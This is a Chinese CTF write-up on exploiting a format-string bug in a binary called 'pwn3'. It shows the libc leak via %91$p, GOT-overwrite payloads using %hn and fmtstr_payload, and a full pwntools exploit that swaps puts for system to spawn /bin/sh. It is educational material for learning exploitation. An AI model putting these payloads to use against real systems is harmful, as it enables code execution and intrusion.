二进制学习系列-格式化字符串got

正题:

一道泄漏libc来利用的格式化字符串题。

题目

直接上手反汇编:

加上运行过后整体了解到有一块检测登陆用户和三个模块函数,一个是编写文件'put',一个是显示文件'dir',还有一个是读取文件'get'。

这里推荐一个比较好用的格式化漏洞查看的插件,叫lazyIDA,在GitHub上有开源项目。

漏洞点出现在这里读取文件函数里面:

最后面的printf处。它的地址:

.text:0804889E                 call    _printf

用gdb在这里下断点后开始调试。前面验证用户名密码的步骤很容易就可以patch掉,密码是'rxraclhm'。暂停在断点处:

往下看堆栈中的数据:

可以看见我们的输入出现在距离格式化字符串的偏移量为7的位置。

偏移地址找到了,接下来就是找需要泄漏的函数,我们这里用常规函数'__libc_start_main'来泄漏。但是好像在堆栈中没有找到这个函数?不一定,我们往下继续找:

终于在距离偏移91处找到了改函数+247后的地址,所以泄漏改地址之后再减去247后就是真正的'__libc_start_main'函数的地址。那么我们就在所'put'上去的文件内容中写上:

%91$p

就可以得到该地址。

得到system函数的地址之后接下来我们要做的是什么?

  1. 如何执行system函数?
  2. /bin/sh字符串如何获取?

1.如何执行system函数:

我们可以利用格式化字符串漏洞覆盖大数字的作用去修改got表的地址,这里我们想到的就是将puts函数的got表地址修改成system函数地址,所以当执行puts函数的时候其实执行的是system函数。接下来就是如何去修改的问题了。

这里有两种方法:

0xa. 利用pwntools中已经成型的函数fmtstr-payload

该函数的利用方式:

fmtstr_payload(7, {puts_got: system_addr})
payload = fmtstr_payload(7, {puts_got: system_addr})

意思就是,格式化字符串的偏移是7,我希望在puts_got地址处写入system_addr地址。默认情况下是按照字节来写的。

puts_got的地址可以用ELF.got['puts']来获取,system地址上面已经获取到了。

0xb. 自己构造playload

格式化字符串写一般分两次写入,每次写半个dword长度的内容,这样可以大大减少程序输出大量空格的时间。两个payload如下:

payload1 = p32(puts_got) + '%%%dc' % ((system_addr & 0xffff)-4) + '%7$hn'
payload2 = p32(puts_got+2) + '%%%dc' % ((system_addr>>16 & 0xffff)-4) + '%7$hn'

当前环境中,实际内容是:

payload1 = "x28xa0x04x08%396c%7$hn"
payload2 = "x2axa0x04x08%46942c%7$hn"

其中p32(puts_got)将数字形式的0x0804a028转为可被读入内存的字符串形式"x28xa0x04x08",%396c与%46942c代表输出396或46942个空格,system_addr & 0xffff 取半个dword后还需减去4,是因为前面p32(puts_got)已经占了四个字节,这四个字节与后面的空格数相加的总字节数相加刚好为system_addr & 0xffff,而该值将会写入当前printf的第7个不定参数中,而这第七个不定参数正好是puts_got与puts_got+2 ,以shellcode2的执行情况为例,请看下图:

prinf函数的参数从栈顶开始,栈顶指向我们所构造的format payload字符串的地址,然后往下分别是第一个不定参数,第二个不定参数……第七个不定参数即为我们所输入的格式化串中的前四个字节内容0x0804a02a。因而执行完该语句后,会向0x0804a02a写入两个字节内容:0xb762。

payload1的执行过程同理,当执行完以上两条payload之后,我们便成功向地址0x0804a028中写入了四字节内容0xb7620190,即将plt表中puts的地址替换成了system函数的地址,所以当再次向系统发送dir指令,并执行puts函数时,实际执行的则是system函数。

2. 如何获取/bin/sh字符串?

这里就得看自己的眼尖不尖了,或者也可以说是自己想不想的到了,puts函数在dir函数中用到,因为puts出来的是文件名,所以当puts执行的是system函数时所用的参数就是文件名,所以我们可以把文件名写成/bin/sh来完成调用。

因为整个exp中需要put两次文件,所以第一次put文件名可以用'/sh',第二次在用'/bin'。或者是最后一次直接使用'/bin/sh;'文件名,用分号直接区分开来。我们可以用gdb来看看,在puts函数处下断点:

这是加分号的情况。

这是分两次输入/bin/sh的情况。以上两种都成功执行了system函数。

EXP:

from pwn import *

p = process('./pwn3')
libc = ELF('libc.so')
elf = ELF('pwn3')
context.log_level = 'debug'

p.recvuntil('Name (ftp.hacker.server:Rainism):')
p.sendline('rxraclhm')
p.recvuntil('ftp>')
p.sendline('put')
p.recvuntil('please enter the name of the file you want to upload:')
p.sendline('/sh')
p.recvuntil('then, enter the content:')
p.sendline('%91$p')
p.recvuntil('ftp>')
p.sendline('get')
p.recvuntil('enter the file name you want to get:')
p.sendline('/sh')

libc_addr = int(p.recv(10),16)
print libc_addr
libc_real = libc_addr - 247
libc_base = libc_real - libc.symbols['__libc_start_main']
sys_addr = libc_base + libc.symbols['system']
#gdb.attach(p)
print hex(sys_addr)

put_got = elf.got['puts']
playload = fmtstr_payload(7, {put_got: sys_addr})
p.recvuntil('ftp>')
p.sendline('put')
p.recvuntil('please enter the name of the file you want to upload:')
p.sendline('/bin')
p.recvuntil('then, enter the content:')
p.sendline(playload)
p.recvuntil('ftp>')
p.sendline('get')
p.recvuntil('enter the file name you want to get:')
p.sendline('/bin')
#gdb.attach(p)
p.recvuntil('ftp>')
gdb.attach(p)
p.sendline('dir')
p.interactive()

学习愉快~

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-09-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Java面试笔试题

什么是ORM?

对象关系映射(Object-Relational Mapping,简称ORM)是一种为了解决程序的面向对象模型与数据库的关系模型互不匹配问题的技术;简单的说,O...

18420
来自专栏同步博客

制作类似ThinkPHP框架中的PATHINFO模式功能

  搞PHP的都知道ThinkPHP是一个免费开源的轻量级PHP框架,虽说轻量但它的功能却很强大。

20630
来自专栏互扯程序

java中的内存模型

现在是资源共享的时代,同样也是知识分享的时代,如果你觉得本文能学到知识,请把知识与别人分享。

18240
来自专栏Linux驱动

第1阶段——关于u-boot目标文件start.o中.globl 和.balignl理解(3)

汇编程序中以.开头的名称并不是指令的助记符,不会被翻译成机器指令,而是给汇编器一些特殊指示,称为伪操作. .globl _start 作用:声明一个_sta...

18650
来自专栏编程

享学课堂谈-Python初学者的设计模式入门

有没有想过设计模式到底是什么?通过本文可以看到设计模式为什么这么重要,通过几个Python的示例展示为什么需要设计模式,以及如何使用。 设计模式是什么? 设计模...

19180
来自专栏calmound

ZOJ 2724 Windows Message Queue(优先队列)

优先队列的概念及使用方法 题意:输入GET,队列为空则输出空,否则输出最优先的数据(所谓最优先,就是优先值最小的一个),若输入PUT,输入三个数据,分别是名字,...

37750
来自专栏MasiMaro 的技术博文

8086cpu中的标志寄存器与比较指令

在8086CPU中有一个特殊的寄存器——标志寄存器,该寄存器不同于其他寄存器,普通寄存器是用来存放数据的读取整个寄存器具有一定的含义,但是标志寄存器是每一位都有...

14410
来自专栏debugeeker的专栏

《coredump问题原理探究》windows版6.1节无成员变量的类

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/xuzhina/article/detai...

7930
来自专栏QQ音乐技术团队的专栏

一种Android App在Native层动态加载so库的方案

这篇文章通过实战案例,介绍了一种有条理的组织Native层代码层级结构的方法。并且,在良好的代码层级、作用分工的基础上,实现了动态的按需加载、卸载so库。文章...

1.3K60
来自专栏Linux Python 加油站

五个python常用运维脚本面试题实例

来源:马哥教育原文作者:chengxuyuan 链接:https://mp.weixin.qq.com/s/nahDVL6aiMQ2vp85wo6nNw一、用P...

30910

扫码关注云+社区

领取腾讯云代金券